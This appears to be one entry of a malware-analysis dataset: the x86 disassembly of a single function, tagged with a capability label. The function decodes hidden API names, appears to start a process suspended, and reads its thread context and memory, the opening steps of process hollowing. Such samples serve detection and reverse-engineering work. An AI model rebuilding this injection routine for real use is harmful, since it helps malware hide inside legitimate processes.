Function at 0x4031d0
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4234d0
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x244
mov eax, dword [0x42fc30]
xor eax, ebp
mov dword [ebp - 0x20], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x254], ecx
push str.lstrcpyA
push 0x4254b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1c4], 0
mov dword [ebp - 0x18], 0
push 0x44
push 0
lea eax, [ebp - 0x1a0]
push eax
call fcn.00412490
add esp, 0xc
push 0x10
push 0
lea ecx, [ebp - 0x13c]
push ecx
call fcn.00412490
add esp, 0xc
mov dword [ebp - 0x1a0], 0x44
push 0x104
push 0
lea edx, [ebp - 0x128]
push edx
call fcn.00412490
add esp, 0xc
push 0x425b10
lea eax, [ebp - 0x128]
push eax
call dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov edx, dword [ebp + 8]
push edx
push 0x425b10
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp + eax - 0x128]
push eax
call fcn.00401d00
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x14c], ecx
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x144], ecx
mov word [ebp - 0x140], cx
mov byte [ebp - 0x13e], cl
mov dword [ebp - 0x158], 0x2800cc9b
mov dword [ebp - 0x1cc], 0x2a6a4f44
mov dword [ebp - 0x12c], 0xae1eff
mov dword [ebp - 0x150], 0x606e4eb
mov dword [ebp - 0x154], 0x41
mov edx, dword [ebp - 0x154]
push edx
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x1cc]
push edx
mov eax, dword [ebp - 0x158]
push eax
push 5
push 0xe
lea ecx, [ebp - 0x14c]
push ecx
call fcn.00402e00
add esp, 0x20
lea edx, [ebp - 0x14c]
push edx
mov eax, dword [ebp - 0x254]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c8], eax
lea edx, [ebp - 0x13c]
push edx
lea eax, [ebp - 0x1a0]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x1c8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4036b2
mov dword [ebp - 0x234], 0
xor eax, eax
mov dword [ebp - 0x224], eax
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x218], eax
mov word [ebp - 0x214], ax
mov dword [ebp - 0x204], 0x7d4715
mov dword [ebp - 0x248], 0x6021a75
mov dword [ebp - 0x208], 0x725aedf
mov dword [ebp - 0x244], 0x1e7e0c0d
mov dword [ebp - 0x200], 0x680e74a
mov dword [ebp - 0x240], 0x79
mov ecx, dword [ebp - 0x240]
push ecx
mov edx, dword [ebp - 0x200]
push edx
mov eax, dword [ebp - 0x244]
push eax
mov ecx, dword [ebp - 0x208]
push ecx
mov edx, dword [ebp - 0x248]
push edx
mov eax, dword [ebp - 0x204]
push eax
push 6
push 0x11
lea ecx, [ebp - 0x224]
push ecx
call fcn.00402e00
add esp, 0x24
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x254]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x234], eax
xor edx, edx
mov dword [ebp - 0x1f4], edx
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e8], edx
mov byte [ebp - 0x1e4], dl
mov dword [ebp - 0x210], 0x2a612b60
mov dword [ebp - 0x23c], 0x18766192
mov dword [ebp - 0x1fc], 0xbbf847f
mov dword [ebp - 0x22c], 0xa986e4
mov dword [ebp - 0x228], 0x606f874
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 0x1fc]
push edx
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x210]
push ecx
push 5
push 0x10
lea edx, [ebp - 0x1f4]
push edx
call fcn.00402e00
add esp, 0x20
xor eax, eax
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], eax
mov dword [ebp - 0x1d8], eax
mov word [ebp - 0x1d4], ax
mov byte [ebp - 0x1d2], al
mov dword [ebp - 0x238], 0x33529905
mov dword [ebp - 0x230], 0x99b683e
mov dword [ebp - 0x1f8], 0x3484c7ad
mov dword [ebp - 0x20c], 0x6cd5bdb
mov dword [ebp - 0x24c], 0x14
mov ecx, dword [ebp - 0x24c]
push ecx
mov edx, dword [ebp - 0x20c]
push edx
mov eax, dword [ebp - 0x1f8]
push eax
mov ecx, dword [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x238]
push edx
push 5
push 0xe
lea eax, [ebp - 0x1e0]
push eax
call fcn.00402e00
add esp, 0x20
lea ecx, [ebp - 0x1f4]
push ecx
mov edx, dword [ebp - 0x254]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1c4], eax
lea ecx, [ebp - 0x1e0]
push ecx
mov edx, dword [ebp - 0x254]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x1a4], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x13c]
mov dword [ecx], edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x138]
mov dword [eax], ecx
mov edx, dword [ebp + 0x1c]
mov eax, dword [ebp - 0x134]
mov dword [edx], eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 0x10007
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
push ecx
call dword [ebp - 0x1c4]
lea edx, [ebp - 0x14]
push edx
push 4
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
call dword [ebp - 0x234]
mov edx, dword [ebp + 0x20]
mov eax, dword [edx]
mov dword [ebp - 0x1d0], eax
push 0x1c
lea ecx, [ebp - 0x1c0]
push ecx
mov edx, dword [ebp - 0x1d0]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
call dword [ebp - 0x1a4]
test eax, eax
je 0x4036a2
mov dword [ebp - 4], 0
mov edx, 1
test edx, edx
je 0x40365f
mov dword [ebp - 0x250], 0xf
push 0x42b710
lea eax, [ebp - 0x250]
push eax
call fcn.00412f2e
jmp 0x403692
mov dword [ebp - 4], 0xffffffff
jmp 0x40369d
jmp 0x403614
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp - 0x1d0]
sub eax, dword [edx]
mov ecx, dword [ebp + 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00411ff2
mov esp, ebp
pop ebp
ret 0x20